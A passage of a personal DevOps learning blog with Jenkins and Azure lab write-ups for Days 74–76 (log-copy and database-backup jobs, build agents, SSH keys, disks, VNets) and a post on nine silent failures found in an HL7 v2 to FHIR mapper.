The task is satisfied. It asked for a backup job and there is one. The backup is worthless, and nothing anywhere in the pipeline says so: valid SQL, reasonable size, green build, file present at the destination.

This is Day 74's lesson with the stakes raised. There, a scheduled job copying no logs succeeds on time forever, and the fix was to confirm the source files existed first. Here the equivalent check is one line:

mysql -u kodekloud_roy -p... -e "SHOW TABLES IN kodekloud_db01"

And the verification that belongs in the job itself asserts on content rather than exit status:

grep -qi 'CREATE TABLE' "$DUMP" || { echo "dump has no tables"; exit 1; }

An empty lab database and a privilege problem look identical from outside, and mysqldump exits zero for both. Only the content tells you which you have.

What the docs recommend

Three things, and the first is the one that would matter in a real environment.

The password is in the job. MySQL does not hedge: "Specifying a password on the command line should be considered insecure. To avoid giving the password on the command line, use an option file." The documentation also explains the odd-looking flag, since "there must be no space between --password= or -p and the password following it."

In a Jenkins job this is worse than at a terminal, because the command is stored rather than typed. The build step lives in the job's config.xml, and anyone with Job/Configure on the job can read it in a browser.

Day 73 granted Job/Configure on a job to two people. The same grant here hands over a database credential, and nothing in the permission grid hints at it. The column says Configure. What it conveys is the contents of every build step.

Jenkins points at the fix. Credentials have their own permission group, with Credentials/View and Credentials/Update kept separate from job permissions, which is Jenkins separating credential access from job access on purpose. And its Pipeline documentation gives the pattern directly: never interpolate a secret into the command text, send a literal command string, and let "the shell read secrets from its environment", which the credentials binding has already populated. Two things improve at once, because the value leaves config.xml and Jenkins masks it in the console output.

Second, there is a latent bug in the date. date is called twice, and the two substitutions are evaluated at different moments. If midnight falls between the dump finishing and the scp starting, mysqldump writes one filename and scp looks for another and fails. On a ten-minute schedule that is one build a day exposed to it, presenting as an occasional failure with no obvious cause.

Computing it once removes the whole class of problem, and lets the quoting get simpler because nothing needs to expand locally any more:

ssh tony@stapp01 '
  D=$(date +%F)
  mysqldump --defaults-file=~/.my.cnf kodekloud_db01 > "/tmp/db_$D.sql" &&
  scp "/tmp/db_$D.sql" natasha@ststor01:/home/natasha/db_backups/
'

Third, the schedule. H/10 * * * * rather than */10 * * * *, for Day 74's reasons: H "should be used wherever possible" and is "a hash of the job name, not a random function". With a log-copy job already on a six-minute cycle, round intervals guarantee the two collide eventually, and H separates them without anyone coordinating. And mysqldump without --single-transaction locks tables while it reads, which costs nothing on an empty database and blocks writes every ten minutes on a real one.

Task 2: A VM in a purpose-built network

The task: a VNet, a subnet, and a VM inside it with a public IP and SSH reachable from the internet.

Step 1: Name things rather than letting the VM name them

--vnet-name devops-pub-vnet --subnet devops-pub-subnet
--public-ip-address devops-pub-vm-pip --public-ip-sku Standard
--nsg devops-pub-vm-nsg

Every earlier VM in this track let az vm create build its own network, which produces names derived from the VM, like <vm>VNET and <vm>VMNic. Here the network came first and the VM was told where to go, so the names come from the design. That starts mattering the moment a second VM shares the network.

Naming the public IP also carries the Day 21 benefit: it survives the VM being deleted and recreated, so the address stays put.

Step 2: What makes the network public, and why my answer has expired

My notes said a VNet has no public or private attribute, and that reachability comes entirely from a public IP on the NIC plus an NSG rule. The first half still holds. The second is now incomplete, and what has changed is outbound rather than inbound.

Subnets do now carry a relevant property, and Microsoft's own word for the result is private: "Azure is changing the default subnet configuration for new virtual networks to require explicit outbound connectivity." With a date attached that has already passed: "For the API version released after March 31, 2026, subnets in new virtual networks have defaultOutboundAccess set to false by default."

So a VNet created today with a current API version gets subnets whose VMs "can't rely on default outbound access". My note's claim that Azure handles the routing and the NSG is the only gate describes a platform behaviour being retired, not a property of Azure networking.

Three things keep that from affecting this task, and the second is the interesting one.

Existing networks are untouched: "Existing virtual networks aren't changed", and deployments on earlier API versions "retain the earlier default behavior", which the lab's CLI may well have done.

And this VM already has an explicit outbound method, without my having chosen one for that purpose. Microsoft lists "Associate a Standard public IP to any of the virtual machine's network interfaces" among the four explicit methods, and --public-ip-sku Standard provided exactly that. A VM built to be reachable from the internet happens to have the thing that also makes its egress explicit.

Of those four methods, Microsoft marks one as preferred: "Associate a NAT gateway to the subnet of your virtual machine. Note this is the recommended method for most scenarios."

Which means the AWS comparison in my notes needs qualifying rather than deleting. Azure still has no internet gateway or route table to configure for basic reachability, which is why Day 40 and Day 45 have no counterpart on this track. What it no longer has is outbound connectivity you can assume. A private subnet needs a NAT gateway, and that is the closest Azure analogue to the work Day 45 did on AWS.

What the docs recommend

Two smaller things, both about not doing the same work twice.

The port 22 rule was created twice. --nsg-rule was not passed to az vm create, and its accepted values are {NONE, RDP, SSH} with Linux defaulting to SSH, which creates a default-allow-ssh rule at priority 1000. The explicit az vm open-port --port 22 --priority 1001 then added a second rule for the same port. Harmless, because both are Allow and the one at 1000 matches first, and still redundant configuration in two places. Either --nsg-rule NONE plus the explicit call, or --nsg-rule SSH and no call, leaves one rule and one place to change it.

And the disk flags, which I have now carried forward three times and explained wrongly twice:

--storage-sku Standard_LRS --os-disk-size-gb 30

Day 21 failed on this, and Days 22, 23 and 26 all pass the flags without being asked to. My explanation, that az vm create defaults the OS disk to Premium on premium-capable sizes, is wrong, as Day 72 covered: --storage-sku has no documented default at all, and the managed-disk path sends no storage account type whatsoever. Something below the CLI chooses, and the rule is not published. The flag is still mandatory in this subscription.

What I learned

Both halves of today were green and both were built on something that does not hold up.

The backup job is the one I would want to find before someone needed it. Every signal said it worked: exit zero, file created, file copied, file identical on both machines, build green, schedule firing. The only thing that said otherwise was reading the file, and what it said was that the job had been faithfully backing up nothing. No monitoring built on exit codes would ever have caught it, because nothing failed.

The Azure half is the same error made against documentation rather than against a file. I wrote "Azure handles the routing" in my notes as a fact about the platform. It was a default, and Microsoft had already announced its retirement with a date that has since passed. The VM survives on a technicality that happens to be sound: the Standard public IP that makes it reachable is also, separately, one of the four documented ways to make its egress explicit.

The pattern underneath both is the same one from Day 75, arriving by a different route. A thing that is true today, recorded as a thing that is true.

So here is the Day 76 question. Which of your backups has anyone actually opened?

Day 76 down. Twenty-four to go.

Day 75: A Java Baseline and a Moving Disk

Nnamdi Felix Ibe — Sat, 31 Oct 2026 09:00:00 +0000

Day 75 of DevOps, Day 25 of Azure. Both tasks today punished something I had written down as a fact when it was really a snapshot.

A Jenkins agent would not start because the Java version on it had been fine until the controller moved past it. And an Azure disk that was sda before the task was sdb after it, with a different disk holding the old name.

One Jenkins task, one Azure task. Attach the app servers to Jenkins as build agents, then expand one disk and add another. The tasks come from the KodeKloud Engineer platform.

Task 1: Three servers as build agents

The task: attach the three app servers to Jenkins as agents. For the first one, name App_server_1, label the same, remote root directory /home/tony/jenkins.

Step 1: The plugin, and what it is called now

The plugin is SSH Build Agents. It "is formerly known as 'SSH Slaves Plugin'" and was renamed in version 1.31.0, and its plugin ID is still ssh-slaves.

So three names for one thing, which is why searching for any of them lands in the same place. The KodeKloud task uses the old vocabulary, and so does the identifier you would put in a configuration file.

Its documented scope is almost nothing: it "Allows to launch agents over SSH", using "a Java implementation of the SSH protocol", and it "Requires Jenkins 2.504.1". That is the whole of what its page says about behaviour.

Step 2: Create the node, and find the fields are undocumented

Name, label, remote root directory, host, credentials, host key verification strategy. Jenkins' Managing Nodes page defines none of them. It does not describe the Remote root directory, the Labels field, the Usage field, or the launch methods, and does not list SSH among them.

That is the third day running. Day 71 was the Execute shell build step, with no page. Day 72 was String and Choice parameters, with no page. Today it is the entire node configuration form.

What Jenkins does document is the requirement and the reason for the whole exercise. "An agent can use any operating system that supports Java", and you should "Ensure that you have a java version available on your agent machine". And then, plainly: "running tasks on the built-in node is discouraged for security, performance, and scalability reasons."

That last line is why this task exists. Days 71 through 74 ran everything on the controller, directly or over ssh from it. This is the day the work moves off the machine Jenkins itself lives on.

Step 3: The agent refuses to start

java.lang.UnsupportedClassVersionError: hudson/remoting/Launcher has been compiled by a
more recent version of the Java Runtime (class file version 61.0), this version of the
Java Runtime only recognizes class file versions up to 55.0
Agent JVM has terminated. Exit code=1

[tony@stapp01 ~]$ java -version
openjdk version "11.0.20.1" 2023-08-24 LTS

Java 11 on the agent. Installing java-17-openjdk and relaunching brought it online.

The fix was right. My explanation of it was wrong in three ways, and the correction is more useful than the fix.

I had written that Jenkins requires Java 17 "because it is the current Long-Term Support (LTS) version, and its components are compiled to run on it, ensuring better stability".

Java 17 is not the current LTS release and was not then. Java 21 is a later one, and Jenkins has moved past both: "Beginning with Jenkins 2.555.1, Jenkins requires Java 21 or Java 25 on both the controller JVM and agent JVMs." The same page adds that "With the release of Jenkins 2.555.1, the Java 17 images have been retired."

The reason Java 17 was required at all is a project decision with a date on it. Jenkins raised its baseline at the 2.463 weekly release in June 2024, announced as "Jenkins requires Java 17 or newer", with 2.462 being "the last weekly release to support Java 11". The requirement covers "agent JVMs (i.e., JVMs running remoting.jar)" explicitly, and the announcement names this exact failure: "Running a Java 11 agent with a Java 17 controller produces an UnsupportedClassVersionError."

And it is not about stability. The agent's JVM cannot load a class file built for a newer JVM than itself, so the agent does not start. Saying Java 17 gives "better stability" implies Java 11 would be worse. Java 11 would be nothing.

The fix was still correct for this Jenkins: Day 68 established the lab runs 2.541.3, the last LTS release supporting Java 17. Written as a general rule for today, "install Java 17 for Jenkins agents" is already out of date. The general rule is to install whatever the controller's version requires, and to upgrade controller and agents together, agents first.

What the docs recommend

Two choices in this node configuration are worth more attention than the Java version.

The host key verification strategy was set to Non verifying, which I justified as skipping manual trust setup in a lab. Practical, and the strategy names turn out to be undocumented: the plugin's page lists no host key verification options at all.

What its page does carry is a security advisory, and it is precisely this one: "Man-in-the-middle vulnerability due to missing host key verification", affecting version 1.14 and earlier.

So the non-verifying strategy is not a missing feature. It is an option to reinstate, per node, the exposure that advisory was issued to fix. Choosing it accepts that anyone who can answer on the agent's address and port can impersonate the agent, and Jenkins will hand over the connection and the credentials used to open it. Which in this task are tony's password.

That is the second choice. The credential here is a username and password, where Days 71 and 74 both set up key-based trust for the same class of connection. The plugin supports SSH keys. A password is a reusable secret sitting in the credential store for no benefit.

To be fair to the credential store, it is a boundary. Jenkins gives credentials their own permission group, with Credentials/View and Credentials/Update separate from job permissions, so credential access is deliberately not the same as job access. A password in the store is at least behind that line.

A password typed into a build step is not. That is tomorrow's problem.

Task 2: Expand one disk, add another

The task: grow the VM's disk from 32 to 64 GiB, then create a 64 GiB standard HDD named devops-disk and mount it at /mnt/devops-disk.

Step 1: The outage belongs to the OS disk, not the task

az vm deallocate ...
az disk update -g $RG -n $OSDISK --size-gb 64
az disk create -g $RG -n devops-disk --size-gb 64 --sku Standard_LRS
az vm disk attach -g $RG --vm-name devops-vm --name devops-disk
az vm start ...

I had written that expanding a managed OS disk requires the VM deallocated. Right conclusion, and Microsoft never says it in those words, so it is worth showing how it follows.

Expanding without downtime is documented, and its scope is explicit: it "Is supported only for data disks." For the path that does not qualify, "the VM must be deallocated." An OS disk is outside the downtime-free feature, so it lands on the deallocation path by elimination rather than by a rule written about OS disks.

Two things follow that I had not drawn out. The data disk alone could have been expanded with the VM running, so the outage was the OS disk's requirement, not the task's. And deallocate is not a synonym for stop: "Stopping the VM with az vm stop doesn't release the compute resources. To release compute resources, use az vm deallocate."

Since the VM had to stop anyway, creating and attaching the data disk in the same window meant one outage covering both halves of the task instead of two.

Step 2: The reboot did the other two layers, and I overstated how

Day 50's lesson was that a disk has three layers and each needs its own action. After the VM started:

sdb1   63.9G   part /
/dev/root  ext4  62G  1.7G  61G  3% /

Already grown, with nothing run inside the guest.

I credited that to cloud-init running growpart on every boot. The documented claim is narrower and says nothing about every boot: "On Ubuntu 16.x and newer, the root partition of the OS disk and filesystems are automatically expanded to use all free contiguous space on the root disk by cloud-init. A small amount of free space must be available for the resize operation."

So cloud-init does it, on Ubuntu 16.x and newer, to the root partition of the OS disk, and it needs a little free space. Whether it checks on every boot or only when something changed is not stated.

The mirror-image reading survives the correction, and it is the part worth keeping:

AWS allowed an online resize, so no reboot happened, so cloud-init never ran, so the partition and filesystem were manual.
Azure required a deallocation, and the restart that followed is what expanded them.

The platform constraint supplied the convenience. Which matters, because a data disk expanded with the VM running gets no reboot, and so still needs the filesystem grown by hand.

Step 3: The letters moved while I was working

Before this task the OS disk was sda. After attaching one data disk:

sda   64G                      <- devops-disk, the NEW disk
sdb   64G   sdb1 /             <- the OS disk
sdc    4G   sdc1 /mnt          <- the temporary disk

The OS disk became sdb, and the new data disk took the name the OS disk used to have.

Day 8 and Day 50 both warned that device letters are assigned in enumeration order and are not stable. This is that warning arriving. A script written as "format /dev/sda1" against yesterday's layout would have reformatted the root volume today.

So the script resolved the device instead of naming it:

DEV=$(readlink -f /dev/disk/azure/scsi1/lun0)

The LUN is the slot on the VM and does not change. The letter is an artefact of enumeration order. And for the persistent mount, the UUID does the same job, because an fstab entry naming /dev/sda1 would, after the next disk change, mount the wrong filesystem or fail the boot.

Which is the Jenkins half of today in different clothing. sda meant one disk and now means another. remoting.jar ran on Java 11 and now will not. Both were true when written down and neither was a stable fact about the system.

What the docs recommend

The mount point the task asked for is the thing I would change in real infrastructure.

/mnt/devops-disk sits inside /mnt, and on an Azure Linux VM /mnt is where the ephemeral temporary disk is mounted. So this is a persistent disk mounted at a path inside a filesystem that gets wiped on deallocation. It works now. After the next stop and start, the directory will not exist on the fresh temporary disk.

nofail keeps that from blocking the boot, and that is exactly the problem: the data disk may simply not be mounted, and nothing complains. Azure's own fstab line for the temporary disk shows the pattern for this, ordering itself after cloud-init, and the equivalent here would be x-systemd.requires-mounts-for=/mnt.

I have not applied it, because the task asked for the mount and the mount is there. But a persistent disk underneath an ephemeral mount point is the wrong shape, and /data or /srv/devops-disk at the root avoids the whole question.

One more number worth knowing before someone asks. The 64 GiB disk reports 63G to the filesystem and 60G available, and both are correct: ext4's metadata takes the first slice and its root reserve takes the second. Three numbers, one disk, nothing wrong.

What I learned

Everything that broke today was something I had recorded as a fact and that was really a reading at a moment in time.

sda was the OS disk. Java 11 was sufficient for the agent. Neither statement was wrong when written. Both became wrong without anything on those machines changing: one because a disk was attached, the other because the Jenkins project moved its baseline, twice, and my note about it was already stale when I wrote it down.

The defence in both cases turned out to be the same, which is what makes it worth noticing. Do not name the thing, resolve it. The disk script asks for LUN 0 and follows the symlink to whatever letter the kernel chose this boot. The agent should take whatever Java the controller's version requires, checked against the controller, rather than the version that worked in a tutorial.

And the two configuration choices nobody made me justify were the ones carrying actual risk: a host key strategy that reinstates a patched man-in-the-middle vulnerability, and a password where a key would have done.

So here is the Day 75 question. Which version number or device name is hardcoded in your scripts because it was true the day you wrote them?

Day 75 down. Twenty-five to go.

Day 74: A Key Each Way and a Schedule

Nnamdi Felix Ibe — Fri, 30 Oct 2026 18:00:00 +0000

Day 74 of DevOps, Day 24 of Azure. Both tasks today were about SSH keys, and specifically about which way round they point.

A Jenkins job needed one server to be able to reach another. An Azure task started by checking whether a key already existed, and the .ssh directory turned out to be full of a file that pointed the other way. Same two files, opposite directions, and getting them mixed up produces a setup that looks finished and cannot connect.

One Jenkins task, one Azure task. Schedule a job that copies Apache logs between servers, then build a VM that only accepts key-based SSH. The tasks come from the KodeKloud Engineer platform.

Task 1: A job on a six-minute schedule

The task: a freestyle job named copy-logs, running every six minutes, copying the Apache logs from stapp03 into /usr/src/finance/ on the storage server.

Step 1: Check the logs are actually there

[banner@stapp03 ~]$ cat /var/log/httpd/access_log
127.0.0.1 - - [-] "GET / HTTP/1.1" 200 -

Boring step, and it is the one that makes everything after it mean something. A scheduled job that copies nothing succeeds, on time, forever. The build goes green, the destination stays empty, and nothing in Jenkins tells you why, because from Jenkins' point of view nothing went wrong.

Step 2: Key the connection between the two servers

[banner@stapp03 ~]$ ssh-keygen -t rsa -b 4096
Enter file in which to save the key (/home/banner/.ssh/id_rsa):

[banner@stapp03 ~]$ ssh-copy-id natasha@ststor01
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
natasha@ststor01's password:
Number of key(s) added: 1

Generated as banner, not as root, which is why ssh-keygen offered /home/banner/.ssh/id_rsa. The identity has to belong to whichever account opens the connection.

Then one detail in the login banner on the way in, which is worth reading rather than scrolling past:

Last failed login: Sun Apr 12 09:41:57 UTC 2026 from 10.244.81.53 on ssh:notty
There were 2 failed login attempts since the last successful login.

Those two failures are ssh-copy-id probing with the new key before it was installed, which is exactly what its "1 key(s) remain to be installed" message was telling me. Benign here. On a server where you had not just run ssh-copy-id, two failed logins from another host is something to go and look at.

Step 3: Let the schedule fire

Six minutes later the build ran on its own, and:

[natasha@ststor01 ~]$ ls /usr/src/finance/
access_log  error_log

What the docs recommend

A six-minute schedule written the obvious way is */6 * * * *. Jenkins documents a better form, and the reason is load.

The H symbol "should be used wherever possible". The example Jenkins gives is a dozen jobs all set to 0 0 * * *, which produces "a large spike at midnight", against H H * * *, which still runs each job once a day but at a time of its own.

The part worth knowing is that H is not random. It is "a hash of the job name, not a random function", so the value "remains stable for any given project". You get spreading without losing reproducibility. For short cycles the documented example is "every fifteen minutes (perhaps at :07, :22, :37, :52)" written as H/15 * * * *.

So H/6 * * * * is the form for this job. Still every six minutes, but offset within each window by a hash of this job's name, so that this job and the next one somebody writes do not fire in the same instant for the rest of time.

Jenkins also warns about exactly this kind of schedule: "short cycles such as */3 or H/3 will not work consistently near the end of most months", because "Hashes are always chosen in the 1-28 range". Worth knowing before a six-minute job becomes load-bearing.

One link in the chain I cannot account for

This job needs two hops. The logs are on stapp03. The destination is ststor01. The build runs as jenkins on the Jenkins controller, which is neither machine.

What I set up and verified is the second hop, stapp03 to ststor01. What I did not set up anywhere in this task is the first, from the controller to stapp03. And the job ran on schedule and the files arrived.

Two explanations fit. The controller may already have been trusted by the app servers from earlier work, since Day 71 keyed jenkins@jenkins to the storage server and the same thing could have been done to stapp03 on a day my notes do not cover. Or the build did not run on the controller.

I cannot tell from what I have, so I am recording it as an open question rather than writing in the step that would make the story tidy. Same gap as Day 71, where the build command in my notes could not have produced the result my notes also recorded. Same cause, too: a screenshot shows you a green build, not the chain of trust that let it go green.

Task 2: A VM that only accepts keys

The task: create an SSH key if one does not already exist, build a VM that trusts it, and prove password-less access works.

Step 1: A non-empty .ssh directory is not a key pair

-rw------- 1 root root  562  authorized_keys

/root/.ssh/ existed and already had a file in it. No id_rsa, no id_rsa.pub.

Those two serve opposite directions:

File	Direction	Purpose
`authorized_keys`	Inbound	Keys allowed to log in to this host
`id_rsa` and `id_rsa.pub`	Outbound	This host's identity for logging in elsewhere

The lab seeds authorized_keys so that I can reach the client machine. It does not give the client machine an identity of its own.

So "check if a key already exists" has to mean checking for the file the next step needs:

if [ -f /root/.ssh/id_rsa ]; then echo "key exists, reusing"; else ssh-keygen ... ; fi

Written as "does ~/.ssh exist", or "is it empty", the check finds files, concludes a key is present, and leaves the VM creation with no public key to install.

Which is the Jenkins half of today from the other end. There, stapp03 needed an outbound identity and ststor01 needed that public key in its inbound list. Two files, two directions. Confuse them and you get a setup that looks complete and cannot connect.

Step 2: The key size was a downgrade and I did not notice

ssh-keygen -t rsa -b 2048 -f /root/.ssh/id_rsa -N '' -q

-b 2048 reads like a sensible conservative default. It is not a default, and it is below the real one.

The ssh-keygen manual gives ed25519 as the default key type, and for RSA, "the minimum size is 1024 bits and the default is 3072 bits". So this command overrode the type to get RSA and then overrode the size downwards, from 3072 to 2048. Omitting -b entirely would have produced a stronger key than asking for 2048 did.

Worth putting beside Day 71, three days ago, where I used -t rsa -b 4096 and called 4096 an upgrade from 3072. Same series, same flag, used in opposite directions, and in neither case because I had checked what the default was. The honest conclusion is to omit -b and take 3072, or omit both flags and take ed25519.

-N '' is the flag that makes this password-less: it sets an empty passphrase, and a passphrase-protected key prompts on every connection unless an agent holds it. Real tradeoff rather than a convenience, though. The private key on disk is now the only thing between anyone who can read that file and the VM.

Step 3: Name the key rather than generating one

--ssh-key-values /root/.ssh/id_rsa.pub

Earlier tasks used --generate-ssh-keys, which is documented to "Generate SSH public and private key files if missing" and store them in ~/.ssh. Convenient, and it hides which of the two branches ran.

Here the first step had already settled the key, so naming it explicitly means the VM gets the key I just checked, with no conditional behaviour in between. Two steps that each do one thing.

Step 4: Password authentication came out disabled

"PasswordAuthDisabled": true

That is the observation that makes the task's title accurate, and it is worth separating from my explanation of it. I had written that creating a Linux VM with a key and no --admin-password makes Azure set disablePasswordAuthentication: true.

The observation is real. The mechanism is not documented in those terms. The ARM reference describes the property as specifying "whether password authentication should be disabled" and gives no default for it, where neighbouring properties do state theirs. What the CLI does document is --authentication-type, which "Defaults to password for Windows and SSH public key for Linux".

So the chain from "Linux VM, key supplied, no password" to "password authentication off" is consistent with the documentation rather than stated by it. Which I would rather say than present an inference as a fact.

The consequence holds regardless: there is no password to guess, so the VM is not exposed to credential stuffing against port 22 even with the NSG allowing SSH from anywhere. Passing --admin-password instead would have left password authentication on with port 22 open to the internet, which is the combination behind most compromised cloud VMs. It also means losing the private key locks you out, and recovery runs through az vm user update or Run Command.

What the docs recommend

The verification is the part I would reuse. Configuration and behaviour are different claims and need separate checks:

PasswordAuthDisabled: true          <- configuration
KeyPaths: [.../authorized_keys]     <- configuration

ssh -o BatchMode=yes ... 'whoami'   -> azureuser     <- behaviour

az vm show proves Azure was asked for the right thing. The SSH proves the guest accepted the key. And BatchMode=yes is what makes the second one mean "password-less" rather than just "worked": without it, a successful login is ambiguous, because ssh could have fallen back to a prompt that got satisfied somehow. With it, a prompt is impossible, so the key is the only explanation.

One last distinction, because it is easy to assume otherwise. This key is not an Azure resource. Day 1 created a Microsoft.Compute/sshPublicKeys object, reusable across VMs by name. Today's key exists only on the client machine and as a copy inside the VM's authorized_keys, and az sshkey list would return nothing. Both give working SSH; only one gives you something you can refer to later.

What I learned

Two files, two directions, and almost every SSH problem I have had is one of them in the wrong place.

The Azure task made it explicit by seeding authorized_keys and nothing else, so that a naive "is there a key here" check would say yes and be wrong. The Jenkins task made the same point by needing an outbound identity on one server and an inbound entry on another, and my own notes then failed to account for one of the two hops the job must have used.

The key size is the smaller finding and the more embarrassing one. I used -b 4096 three days ago and -b 2048 here, in both cases without checking that the RSA default is 3072. One was an upgrade, one was a downgrade, and neither was a decision.

So here is the Day 74 question. In the SSH setups you maintain, which machine holds an identity it no longer needs, and which one is still trusting a key whose owner left?

Day 74 down. Twenty-six to go.

Part 3: Nine Ways an HL7 v2 to FHIR Mapping Goes Quietly Wrong

Nnamdi Felix Ibe — Wed, 28 Oct 2026 19:26:21 +0000

Part 1 built the translation layer. Part 2 built the pipeline that checks it. This part is about the translation itself, which turns out to be where the interesting failures live.

None of what follows threw an exception. Every one produced a FHIR Bundle that a server would accept, containing the wrong thing. That is the particular danger of mapping work: the output is always well-formed, so the only way to find the problems is to run the mapper and look at what comes out.

I found nine. One of them stores a positive culture result as the number zero, and three of the nine I did not find at all: readers of Part 1 did.

The problem

A mapping is a long list of small decisions, and each one looks obviously right while you are making it. PID-5 is the name. PID-7 is the date of birth. You write the line, the test passes, you move on.

What makes it dangerous in a clinical setting is that the failures are silent and plausible. A missing middle name is not an error. A date of birth that vanished is not an error. The Bundle validates, the server returns 200, and the wrong record is now in the system of record with every appearance of being right.

So this week I stopped reading the mapper and started feeding it things.

What I found

Nine behaviours, each checked by running the real mapper on a real message:

behaviour                                before   after
--------------------------------------------------------
middle name kept                          FAIL     pass
partial date YYYYMM kept                  FAIL     pass
dob with tz offset kept                   FAIL     pass
escape sequence decoded                   FAIL     pass
fullUrls are real UUIDs                   FAIL     pass
patient resend updates, not duplicates    FAIL     pass
text result not made numeric              FAIL     pass
no JSON null in the resource              FAIL     pass
sex A maps to other, per HL7              FAIL     pass

A positive culture result became zero

This is the one I would want to know about if it were my trust.

An OBX segment carries a result. OBX-2 says what type the value is: NM for a number, ST for text, CE for a coded entry. The mapper ignored OBX-2 entirely and tried to turn every value into a valueQuantity. When the text would not parse as a number, it did this:

except ValueError:
    return {"value": 0, "unit": units or "", "comparator": None, "_raw": value}

So a microbiology result of POSITIVE came out as:

{ "valueQuantity": { "value": 0, "unit": "", "comparator": null, "_raw": "POSITIVE" } }

A qualitative result became the number zero. Anything downstream reading valueQuantity.value, a chart, a rule, a dashboard, sees a measurement of nought. _raw is not a FHIR element either. It was invented, so a conformant server is free to reject the resource or drop the property, and with it the only surviving copy of the actual result.

The fix is to read OBX-2 and pick the matching value[x]:

if vt in _CODED_VALUE_TYPES:
    return {"valueCodeableConcept": {"text": value}}
if vt in _NUMERIC_VALUE_TYPES or vt == "":
    try:
        quantity = {"value": float(value)}
    except ValueError:
        return {"valueString": value}
    ...
return {"valueString": value}

POSITIVE is now {"valueString": "POSITIVE"}. A segment that claims NM and carries text also becomes a string, because inventing a number is the failure mode I am trying to get away from.

Every admission created a new patient, and the obvious fix is the wrong one

The Bundle posted the Patient like this:

{ "method": "POST", "url": "Patient" }

An unconditional create. Send the same admission twice, get two patients. Resend a day's traffic after an outage, get a duplicate for every message.

This one came from a reader of Part 1. Anjan Kumar Gundaboina asked on LinkedIn whether the mapper was idempotent, or whether a resend produced a duplicate Patient. It produced a duplicate.

The obvious fix is a conditional create. FHIR has Bundle.entry.request.ifNoneExist, defined as "Instruct the server not to perform the create if a specified resource already exists". One match returns 200 and creates nothing, so a resend stops duplicating.

That is not enough, because an A08 is a patient update message. If the patient exists and the message carries a corrected date of birth, a conditional create looks at the one match and does nothing at all. The duplicate is gone and so is the correction.

A conditional update handles both. FHIR defines it as PUT [base]/[type]?[search parameters], where with no matches "The server creates the resource", with one match "The server performs the update against the matching resource", and with several it returns 412.

{
  "method": "PUT",
  "url": "Patient?identifier=https://fhir.nhs.uk/Id/nhs-number|9000000009"
}

When there is no NHS number, there is no condition and it stays a plain create. A condition that matches everything is worse than none: it would merge every patient without an NHS number into one record.

The dates it threw away

PID-7 is a time stamp, not a date, and senders fill in as much as they have. The mapper accepted YYYYMMDD and returned nothing for anything else.

Readers raised this one too. Lee Wilson pointed out that in many EHRs only the year of birth is known, and Anjan named the partial-date fallback as exactly the kind of silent failure he would want a dashboard on.

FHIR is more accommodating than the mapper was. It defines date as "A date, or partial date (e.g. just year or year + month)" in the format "YYYY, YYYY-MM, or YYYY-MM-DD".

So 198001 should be 1980-01. It was becoming nothing at all. So was 19800101120000+0100, a perfectly ordinary full time stamp with a time zone offset, because the offset did not match any of the three formats being tried. A date of birth with a time zone on it was silently dropped.

Both now map. The offset is stripped, because a FHIR date "SHALL be no time zone".

The names it mangled

HL7 reserves five characters as delimiters and defines five escape sequences so they can appear inside a field anyway. \T\ is the subcomponent separator, so O\T\BRIEN is how the wire carries O&Brien. The mapper stored the escape sequence.

One subtlety is worth getting right. \E\ stands for the escape character itself, so decoding has to be a single pass. Replace \F\ first and then \E\, and the sequence \E\F\E\, which means the literal text \F\, becomes a field separator instead. Sequences outside the five, like \H\, are passed through rather than stripped.

The middle name, and the test that approved of losing it

PID-5 is DOE^JOHN^A. Component 3 is the middle name. FHIR puts given and middle names together in given, in order.

The mapper read component 2 and stopped, so A was dropped. That is the least serious of the nine and the most instructive, because of what I found in the test file:

assert patient["name"][0]["given"] == ["JOHN"]

The test asserted the bug. It had passed since the day it was written, because it was written by reading what the mapper did rather than what the segment said. A green suite told me the mapping was right, and what it actually told me was that the mapping had not changed.

The identifiers that were not identifiers

Each Bundle entry had a fullUrl like urn:uuid:patient-1. FHIR's uuid type is "A UUID (aka GUID) represented as a URI", meaning RFC 4122. patient-1 is not one. HAPI accepted them, which is why it survived; a stricter server need not. They are real UUIDs now.

Nulls where FHIR forbids them

When PID-7 would not parse at all, birthDate came out as None and serialised to "birthDate": null. FHIR's JSON rules say properties "never have null values" and to "Omit a property if it is empty".

Testing that turned up a second case: a PID with no name at all produced "family": "". The same page says "String property values can never be empty".

Both are now pruned on the way into the Bundle, along with empty arrays and objects. Zero and false survive the pruning, because a quantity of 0 is a real measurement and that is the mistake this article started with.

The answer I said did not exist

I had written PID-8 up as an open question. HL7 table 0001 carries A for ambiguous and N for not applicable, FHIR's administrative-gender has only male, female, other and unknown, and I concluded there was no clean target and left the mapper sending both to unknown.

Then Dalisay Giffard suggested on LinkedIn that I check the PID-8 mapping, because administrative sex has a different meaning to gender. The field held up: FHIR R4 defines Patient.gender as administrative gender, and that is where HL7's v2-to-FHIR guide puts PID-8. The codes did not. Checking them properly, I found that HL7 publishes a concept map for exactly this, in the v2-to-FHIR implementation guide. It sends A to other and N to other, and rates both "is equivalent to".

Which is obviously right once you see it. unknown says we do not know. The sender did know; the answer was simply neither male nor female. I had been treating a recorded answer as a missing one, and I had reasoned my way to a conclusion the standard had already settled in a table I had not looked for.

The map was not the territory

There is a docs/hl7-fhir-mapping.md in the repo, a careful table of HL7 fields and their FHIR targets. I checked each row against the running mapper. Three described mappings that do not exist: PID-11 to Patient.address, RXE-4 to dosageInstruction, RXE-13 to requester. It also called _raw an extension, which gave an invented property the air of deliberate design.

That is three weeks running where the most useful finding was a document describing a system nobody had checked. Week 2 it was a security scanner with no rules loaded. This week a mapping table describing a mapper I had not written.

The rewritten version says "not mapped" where that is the truth, and every row was produced by running the thing.

What readers found that I have not fixed yet

Part 1 and Part 2 are public, and so is the repo, which means the mapping has had more eyes on it than mine. Several more things came back that are not in this week's change, named here so they do not quietly disappear.

PID-3, raised by Kevin Mayfield, Ian Haywood and Lee Wilson. PID-3 reads only CX-1 and CX-4. The CX-5 identifier type code, NH or MR, is dropped, there is no use, and every non-NHS identifier lands in one local-patient-identifier system with no assigner, so medical record numbers from two different trusts collide. The North West GMSA HL7 v2 guide treats CX-1, CX-4 and CX-5 as mandatory and uses the ODS code as the assigning authority. My fixture uses GENERAL_HOSP, which is not an ODS code. Ian's warning was the practical one: unless the namespace carries through, you'll have fun later when another source uses the same ID. Kevin added that the MRN system should be a URI or an OID, that EPR vendors and trusts have each made their own choice, and that his organisation uses a URI.

